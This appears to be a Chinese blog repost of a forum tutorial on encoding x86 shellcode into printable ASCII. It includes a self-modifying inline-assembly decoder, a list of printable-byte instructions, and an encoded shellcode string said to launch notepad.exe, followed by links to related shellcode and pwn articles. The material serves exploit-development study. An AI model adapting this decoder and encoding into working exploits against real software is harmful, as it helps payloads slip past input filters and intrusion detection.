shellcode的一种ascii编码方法

Shellcode编码技术 也就是我们在执行真正的costom_decoder之前将esp调整到nSEH之前,和costom_decoder本身之前,留下足够的opcode空间。因此,我们用0减去re_opcode,就可以得到opcode,为什么用减法而不是加法直接得到opecode呢,以eax为例,sub eax, xx指令是‘\x2d'合法的,而add eax, xx是”\x81\xC0“。为了更好的确定地址,我们将egg hunter放在payload的首,在nSEH处跳到调整edx的代码。所以egg hunter是可行的。 阅读详情

作 者: waruqi
时 间: 2008-08-18,20:02
链 接: http://bbs.pediy.com/showthread.php?t=70964

初来乍到,发此一篇,请勿见笑 

一、编码:直接替换法
所谓直接替换法,简单的说,就是遇到有效字符则直接输出,遇到无效字符现输出一位标志符(例如:'0'),
然后对其进行编码后输出,解码过程只需逆向操作即可。

ascii 字符集共0xFF个字符,其中有效的图形字符的范围为[0x21, 0x7E],若要将所有无效字符编码为[0x21, 0x7E],
只需加上一个偏移即可,然而无效字符数远大于有效字符数,一个偏移值时无法覆盖所有无效字符的,因此
我把无效字符集平分为两部分,将0x00与0xFF首尾相连,分为[0x21, 0x7E]左边0x51个,[0x21, 0x7E]右边0x51个
如下;
ascii table: |----------|----|-------------------|----|-------------------|----|-------------|
ascii:      0x00      0x20  0x21               0x7E 0x7F                0xCF 0xD0        0xFF
             left-invalid      valid(!= '"' ...)          right-invalid          left-invalid

若为左边无效字符,偏移值为[0x51, 0x5E],即:left_invalid += left_offset, left_invalid %= 256 => valid
若为右边无效字符,偏移值为[0xA3, 0xB0],即:right_invalid += right_offset, right_offset %= 256 => valid
具体选取那个偏移值视具体情况而定。

编码过程:
left_flag:标志字符,判断下一字符解码后是否为左无效字符,此处取:'0'
right_flag:标志字符,判断下一字符解码后是否为右无效字符,此处取:'1'

1. sc[i] ^= xor_byte(ascii);

2. if (sc[i] is left-invalid ascii) 
   => left_flag ('0')
   => sc[i] -= left_offset [0x51, 0x5E]

3. if (sc[i] is right-invalid ascii) 
   => right_flag ('1')
   => sc[i] -= right_offset [0xA3, 0xB0]

4. if (sc[i] is valid ascii) 
   => sc[i]

5. => "01" // end

注:由于标志位已经使用了'0'、'1',那么在判断是否为有效字符时,还需要排除'0'、'1',最后以"01"标志结束。
为了达到更好的编码效果,在编码的第一步中,我对每个字符先进行异或,使无效字符数降到最低,而异或字节通过遍历[0x21, 0x7E]
进行选取。

二、可用的ascii指令
范围:[0x21, 0x7E] && != '"' && != '//' ...

可以通过随机生成有效范围[0x21, 0x7E]内字节序列,然后用IDA反汇编后寻找有效指令。
我从中挑了一些比较有用的指令,如下:

1.数据传送:
push/pop eax...
pusha/popa

2.算术运算:
inc/dec eax...
sub     al, 立即数
sub     byte ptr [eax... + 立即数], al dl...
sub     byte ptr [eax... + 立即数], ah dh...
sub     dword ptr [eax... + 立即数], esi edi
sub     word ptr [eax... + 立即数], si di
sub     al dl..., byte ptr [eax... + 立即数] 
sub     ah dh..., byte ptr [eax... + 立即数]
sub     esi edi, dword ptr [eax... + 立即数]
sub     si di, word ptr [eax... + 立即数]

3.逻辑运算:
and     al, 立即数
and     dword ptr [eax... + 立即数], esi edi
and     word ptr [eax... + 立即数], si di
and     ah dh..., byte ptr [ecx edx... + 立即数]
and     esi edi, dword ptr [eax... + 立即数]
and     si di, word ptr [eax... + 立即数]

xor     al, 立即数
xor     byte ptr [eax... + 立即数], al dl...
xor     byte ptr [eax... + 立即数], ah dh...
xor     dword ptr [eax... + 立即数], esi edi
xor     word ptr [eax... + 立即数], si di
xor     al dl..., byte ptr [eax... + 立即数] 
xor     ah dh..., byte ptr [eax... + 立即数]
xor     esi edi, dword ptr [eax... + 立即数]
xor     si di, word ptr [eax... + 立即数]

4.比较指令:
cmp     al, 立即数
cmp     byte ptr [eax... + 立即数], al dl...
cmp     byte ptr [eax... + 立即数], ah dh...
cmp     dword ptr [eax... + 立即数], esi edi
cmp     word ptr [eax... + 立即数], si di
cmp     al dl..., byte ptr [eax... + 立即数] 
cmp     ah dh..., byte ptr [eax... + 立即数]
cmp     esi edi, dword ptr [eax... + 立即数]
cmp     si di, word ptr [eax... + 立即数]

5.转移指令:
push  56h
pop    eax
cmp    al, 43h
jnz    lable

<=> jmp lable

6.交换al, ah
push  eax
xor    ah, byte ptr [esp]    // ah ^= al
xor    byte ptr [esp], ah    // al ^= ah
xor    ah, byte ptr [esp]    // ah ^= al
pop    eax        

7.清零:
push  44h
pop    eax
sub    al, 44h    ; eax = 0

push  esi
push  esp
pop    eax
xor    [eax], esi  ; esi = 0

三、解码

代码:
// ascii_encoder
#define ascii_left_invalid_flag_    '0'
#define ascii_right_invalid_flag_    '1'
#define ascii_left_offset_        54h
#define ascii_right_offset_1_      46h
#define ascii_right_offset_2_      5Dh    // ascii_right_offset_2_ = ascii_right_offset_1_ + ascii_right_offset_2_
#define ascii_xor_byte_          21h
#define  ascii_base_offset        02h

void decoder()
{
  __asm jmp sc_end
  __asm sc_begin:
  __asm
  {
    //int    3                // note: edx == base address + 1

    /////////////////////////////////////////////////////////////////////////////////
    // base address

    // ascii_base_offset == 09h
    /*
    dec    esp                    // base address: [esp - 8]
    dec    esp
    dec    esp
    dec    esp
    dec    esp              
    dec    esp
    dec    esp
    dec    esp
    pop    edx
    */

    // ascii_base_offset == 05h
    /*
    dec    esp                    // base address: [esp - 4]
    dec    esp
    dec    esp
    dec    esp
    pop    edx
    */

    // ascii_base_offset == 01h
    /*
    pop    edx                    // base address: [esp]
    */

    // ascii_base_offset == 02h
    /*
    pop    edx                    // base address: [esp + 4]
    pop    edx
    */

    // ascii_base_offset == 03h
    /*
    pop    edx                    // base address: [esp + 8]
    pop    edx
    pop    edx
    */

    // ascii_base_offset == 02h
    push  ecx                    // base address: ecx
    pop    edx                    // base address => edx

    /////////////////////////////////////////////////////////////////////////////////
    // padding + n bytes        
    //aaa                      // 37h
    //aaa                      // 37h
    //xor    [eax],  dh              // 30h 30h
    //xor    [eax],  dh
    //xor    [eax],  dh
    //xor    [eax],  dh
    /////////////////////////////////////////////////////////////////////////////////

    /////////////////////////////////////////////////////////////////////////////////
    // shellcode address
    push  esi
    push  esp
    pop    ecx
    xor    dword ptr [ecx], esi          // 0 => [esp]
    push  51h + ascii_base_offset
    pop    esi
    sub    dword ptr [ecx], esi          // [esp] -= shellcode_offset(60h + ascii_base_offset)
    pop    esi                    // -shellcode_offset => esi

    push  edx                    // base_addr => [esp]
    sub    dword ptr [esp], esi        
    pop    esi                    // base_addr + shellcode_offset == shellcode address => esi
    
    push  esi
    pop    edi                    // esi => edi

    /////////////////////////////////////////////////////////////////////////////////
    // code decoder
    push  7Dh
    pop    ecx
    sub    byte ptr [edx + 36h + ascii_base_offset], cl  // decode: cld == FCh == 79h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 37h + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 3Ch + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 47h + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 4Eh + ascii_base_offset], cl  // decode: sto** == AAh == 27h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 4Fh + ascii_base_offset], cl  // decode: jmp decode_loop == EBh E6h
    sub    byte ptr [edx + 50h + ascii_base_offset], cl  // decode: EBh == 68h - 7Dh, E6h == 63h - 7Dh
    // +6 bytes

    push  44h
    pop    ecx
    sub    byte ptr [edx + 3Bh + ascii_base_offset], cl  // decode: jnz next == 75h 07h == 75h (4Bh - 44h) 
    // +7 bytes

    sub    byte ptr [edx + 40h + ascii_base_offset], cl  // decode: jz end == 74h 10h == 75h (54h - 44h) 
    // +3 bytes

    sub    byte ptr [edx + 46h + ascii_base_offset], cl  // decode: jnz normal_char == 75h 05h == 75h (49h - 44h) 
    // +3 bytes

    /////////////////////////////////////////////////////////////////////////////////

    _emit  79h                    // cld
    //cld

  decode_loop:
            
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    cmp    al, ascii_left_invalid_flag_
    
    _emit  75h
    _emit  4Bh                    //jnz next
    //jnz    next

    /////////////////////////////////////////////////////////////////////////////////
    // left-characters decoder
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    cmp    al, ascii_right_invalid_flag_      // if (al == ascii_right_invalid_flag_)
    _emit  74h
    _emit  54h                    // "01"(end) => jz end
    //jz    end            

    sub    al, ascii_left_offset_          // decode: al -= ascii_left_offset_

    //jmp    normal_char
    //al == ascii - ascii_left_offset_ != ascii != ascii_right_invalid_flag_(acsii)
    /////////////////////////////////////////////////////////////////////////////////
    
  next:
    cmp    al, ascii_right_invalid_flag_

    _emit  75h
    _emit  49h                    //jnz normal_char
    //jnz    normal_char

    /////////////////////////////////////////////////////////////////////////////////
    // right-characters decoder
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    sub    al, ascii_right_offset_1_
    sub    al, ascii_right_offset_2_        // decode: al -= right_byte_

    /////////////////////////////////////////////////////////////////////////////////

  normal_char:
    xor    al, ascii_xor_byte_            // xor-decoder

    _emit  27h                    // sto**
    //sto**                      // al => [edi]

    _emit  68h
    _emit  63h                    // jmp decode_loop
    //jmp decode_loop

  end:
                            // old shellcode address <= esi, edi

  }

  __asm sc_end:
  unsigned int scLen;
  unsigned char* sc;
  __asm
  {
    lea eax, sc_begin
    mov sc, eax
    lea ebx, sc_end
    sub ebx, eax
    mov scLen, ebx
  }

  unsigned char sc_buf[2048];
  memcpy(sc_buf, sc, scLen);

  printf("decoder:/n%s/n", sc_buf);

  __asm
  {
    lea    ecx, sc_buf
    push  ecx
    ret
  }
}

以下这段是经过编码后的通用shellcode, 
执行后启动的notepad.exe:

// base address => esp => jmp esp
// 285 bytes
char shellcode[]=  
"TZVTY11jS^)1^R)4$^V_j}Y(J8(J9(J>(JI(JP(JQ(JRjDY(J="
"(JB(JHy)<0uK)<1tT,Y<1uI),%,~4;'hc" // decoder
"0)LdQ0db_1S:1S{71SK'191SS31S1oQ8b0,,;;;021eSKZ_;SU"
"TO^1S0XQ:k1gm?1gm3jm1SN0`1SO0nC81qm1SM0t81q0a0Krz1"
"980W0a0941(+0Z0FO30S0I<80:{0)1m0Y$N05e1Se0x80?]1S7"
"p1Se'80?1S?1S80W13eb0Q0,1b1g1g1g0bO1M7j0m1<:X1U0Ct0"
"1"
;


注:编码后的大小为原码的1.3 - 1.5倍左右,还算不错,不过由于本人汇编功底不深,
decoder写得过于庞大,希望大家帮我优化优化,而且这种方法有其局限性,只能进行
字母与符号的混合编码。

手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南 ascii shellcode : 自动生成shellcode,手写shellcode 阅读详情

相关推荐

Shellex:针对shellcode的转换与处理工具

Shellex Shellex是一款功能强大的C-shellcode转换器,可以帮助广大研究人员将C-shellcode转换为十六进制代码,并且能够在gdb、windbg、radare2、ollydbg、x64dbg、immunity调试器和010编辑器中粘贴和执行shellcode。 在Shellex的帮助下,广大研究人员可以将C-shellcode代码转换为十六进制代码,并且还可以在C编译器中编译时进行转换,整个过程只需要执行Shellex,并将shellcode代码拷贝进去并按下回车键即可。 比如说,

weixin_43977912的博客 2960

十七、Shellcode编码

在很多的漏洞利用场景中,Shellcode的内容会受到限制,这种限制不仅来自存在漏洞的软件自身,在某些情况下,也来自一些基于特征的IDS(网络入侵检测系统)系统。我们先来看看Shellcode会受到哪些限制。 首先,所有的字符串处理函数都会对NULL字节进行限制,通常我们会选择对Shellcode指令进行优化以避免在Shellcode中直接出现NULL字节。 其次,在某些处理流程中可能会限制0x0...

wanhex的博客 3893

从书籍章节探索多态可打印ASCII Shellcode

本章节深入探讨了如何通过多态可打印ASCII字符生成攻击载荷,以及如何绕过缓冲区溢出漏洞中的数据完整性检查。通过使用特定的汇编指令和技巧,攻击者能够创建出既能通过IDS检测又能成功执行的shellcode。

weixin_36149538的博客 367

3.6 shellcode编码技术

编码技术

qq_55202378的博客 1392

强化学习新手上路:用PPO-Clip轻松玩转Pendulum-v1(PyTorch保姆级教程)

本文提供了一份基于PyTorch的PPO-Clip算法实战教程,指导强化学习新手在Pendulum-v1环境中构建连续控制智能体。教程详细解析了PPO-Clip的核心机制,特别是其Clip机制如何限制策略更新幅度以确保训练稳定,并涵盖了从环境配置、策略网络设计、经验收集到完整训练框架搭建的全过程,是掌握连续动作空间强化学习的实用指南。

weixin_29062963的博客 270

【Ultrascale+ MPSOC学习记录】6、从eMMC启动翻车

因为MPSOC还有一种启动模式是eMMC,接下来咱就实现从eMMC启动。

ryo891012的博客 474

shell脚本编写 hash方法,shell中字符到ascii码或数字的转换

shell脚本编写 hash方法,shell中字符到ascii码或数字的转换。

飘然渡沧海的博客 2183

告别Colmap!在ROS2 Humble上,用Fast-LIVO2直接为3D Gaussian Splatting准备数据全流程

本文详细介绍了在ROS2 Humble环境下,使用Fast-LIVO2为3D Gaussian Splatting(3DGS)准备数据的全流程。通过优化Fast-LIVO2配置、实时数据同步机制和3DGS训练参数,显著提升了三维重建效率和质量,相比传统Colmap流程节省95%以上的预处理时间。适用于Ubuntu22.04系统,适合机器人及自动驾驶领域的三维重建应用。

weixin_28688385的博客 586

ASCII码-shellcode的技巧

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞。

Palpitate_LL的博客 745

高云FPGA开发实战:手把手教你用ModelSim做功能仿真与时序分析(附Testbench写法)

本文详细介绍了高云FPGA开发中如何使用ModelSim进行功能仿真与时序分析,包括环境搭建、Testbench编写、波形调试和时序优化等实战技巧。通过具体案例和代码示例,帮助开发者掌握FPGA仿真验证的核心方法,提升设计可靠性。特别针对高云GW5A系列器件提供了专业的仿真库配置指南和时序分析策略。

weixin_30412167的博客 465

基于python获取网易云热门歌单及封面

先看一下图片背后的代码 非常好,里面歌单名字,id,以及封面图片都有了.在复制url的时候注意把/#删掉,要不然爬不了. import requests from lxml import etree url='https://music.163.com/discover/playlist' head={ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Ch

ziyuan12345678的博客 536

纯ascii的shellcode编写

上次ssctf决赛出现了一次纯ascii的shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIXYJKMK9ICD6DJT019BOB47P1YYE4LK2Q6PLK2VDLLKD6ELLKQVDHLK3N10LKWFGH0OR8SEJS1IS1N1KOM13PLKRLFD7TLKW5WLLK0TGXRXS1Z

ling 7850

DeepSpeed Zero3 Offload实战:从GCC版本检查到环境配置的完整避坑指南

本文是一份针对DeepSpeed Zero3 Offload部署的完整避坑指南。针对训练中常见的`AttributeError: ‘DeepSpeedCPUAdam‘ object has no attribute ‘ds_opt_adam`报错,文章深入剖析了其根源在于GCC编译器版本过低。指南提供了从系统GCC版本深度探查、安全启用高版本GCC环境,到DeepSpeed一致性安装验证的全链路实战方案,旨在帮助用户构建稳定的大模型训练环境。

weixin_29070721的博客 473

ShellCode

关于利用图片Alpha通道隐写术隐藏Shellcode的攻击 Alpha通道,又叫做阿尔法通道,是指一张图片的透明和半透明度。例如:一个使用16位存储的图片,可能5位表示红色,5位表示绿色,5位表示蓝色,1位是阿尔法。在这种情况下,它要么表示透明要么不是。一个使用32位存储的图片,每8位表示红绿蓝,和阿尔法通道。在这种情况下,就不光可以表示透明还是不透明,阿尔法通道还可以表示256级的半透明度。 一般alpha值取0~1之间。通道分为三种通道。也就是有三个作用。 Alpha通道与Rgb图片为乘法运算即:图片

weixin_46661122的博客 1269

LibTV本地部署:AI漫剧创作完整解决方案与实战指南

如果你正在关注AI漫剧创作这个赛道,可能会发现一个有趣的现象:市面上的AI视频工具要么功能单一,要么云端服务昂贵且存在内容审核风险。而今天要介绍的LibTV本地部署方案,或许能为你打开一扇新的大门。 这个方案的核心是Seedance2.0与豆包AI的本地化集成,它真正解决的是创作者对内容自主权、成本控制和创作效率的三重需求。与红果、抖音等平台提供的标准化AI工具相比,本地部署意味着你可以完全掌控生成过程,不受平台规则限制,更重要的是——所有数据都在本地,不存在内容泄露风险。 1. 这篇文章真正要解决的问题

weixin_28745309的博客 520

【信息科学与工程学】信息科学领域——第一百三十三篇 半导体器件物理与电子封装01

③ 载流子浓度:n=∫Ec​∞​gc​(E)f(E)dE,f(E)=1+exp((E−EF​)/kB​T)1​,非简并时 n=Nc​exp(−kB​TEc​−EF​​),Nc​=2(ℏ22πme∗​kB​T​)3/2。简并时需用Fermi-Dirac积分 F1/2​(η)=π​2​∫0∞​1+ex−ηx​​dx,n=Nc​π​2​F1/2​(η),η=(EF​−Ec​)/kB​T。对于低维系统:2D g2D​(E)=πℏ2m∗​Θ(E−Ec​),1D g1D​(E)=πℏ1​E2m∗​​。

weixin_49199313的博客 552

PWN练习之ret2shellcode

ret2shellcode是一种通过注入并执行shellcode来获取系统权限的攻击技术。攻击者将shellcode写入内存(如栈或bss段),并通过栈溢出覆盖返回地址,使其跳转到shellcode执行。

m0_57882332的博客 1万+

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

SeedLab——Shellcode Development Lab

通常情况下,为了将这个字符串推入堆栈,我们需要使字符串的长度为 4 的倍数,所以我们会将字符串转换为 /bin////bash。然而,对于此任务,我们不能向字符串中添加任何多余的 /,也就是说,命令的长度必须是 9 个字节(/bin/bash)。将args的地址加载到ecx寄存器,envs的地址加载到edx寄存器,path的地址已经存在ebx寄存器中了。ebx寄存器为传递的参数一即path的地址,ecx寄存器为传递的参数二即args的地址,edx寄存器为传递的参数三即envs的地址。然后传递envs参数。

Aft3rGl0w的博客 2296

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

CTF中pwn shellcode题目

下面是一些shellcode代码和绕过技巧。一些只给payload或者exp一把梭首先给出两个常用shellcode仓库,可以检索需要的shellcode。

saulgoodman的博客 1238

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

shellcode编码

shellcode编码 将每个字符的ASCII码转换为十六进制,并在每个十六进制码之前添加“\x”。 I love you Jack \x49\x20\x6c\x6f\x76\x65\x20\x79\x6f\x75\x20\x4a\x61\x63\x6b

qq_38989921的博客 838

编写并提取简易 ShellCode

既然获取到了相应的内存地址,那么接下来就需要通过汇编来编写可执行代码片段了,在编写这段代码之前,先来了解一下汇编语言的调用约定,在汇编语言中,要想调用某个函数,需要使用CALL语句,而在CALL语句的后面,要跟上该函数在系统中的地址,前面我们已经获取到了相应的内存地址了,所以在这里就可以通过CALL相应的地址来调用相应的函数。,当然这两个地址在不同版本的Windows系统中,应该是不同的,所以我这里的地址和你的应该也是不同的。上方代码经过编译以后,运行会弹出一个我们自己DIY的MessageBox提示框。

微软技术分享 1万+

python编写shellcode_使用C编译器编写shellcode

背景有时候程序员们需要写一段独立于位置操作的代码,可当作一段数据写到其他进程或者网络中去。该类型代码在它诞生之初就被称为shellcode,在软件中黑客们以此获取到shell权限。方法就是通过这样或那样的恶意手法使得这段代码得以执行,完成它的使命。当然了,该代码的编写仅能靠它自己,作者无法使用现代软件开发的实践来推进shellcode的编写。汇编常用于编写shellcode,特别是对代码大小挑剔的...

weixin_39582569的博客 411
上一篇: 一种Object hook的思路和实现过程
下一篇: 深入伪UPX分析之一汇编分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值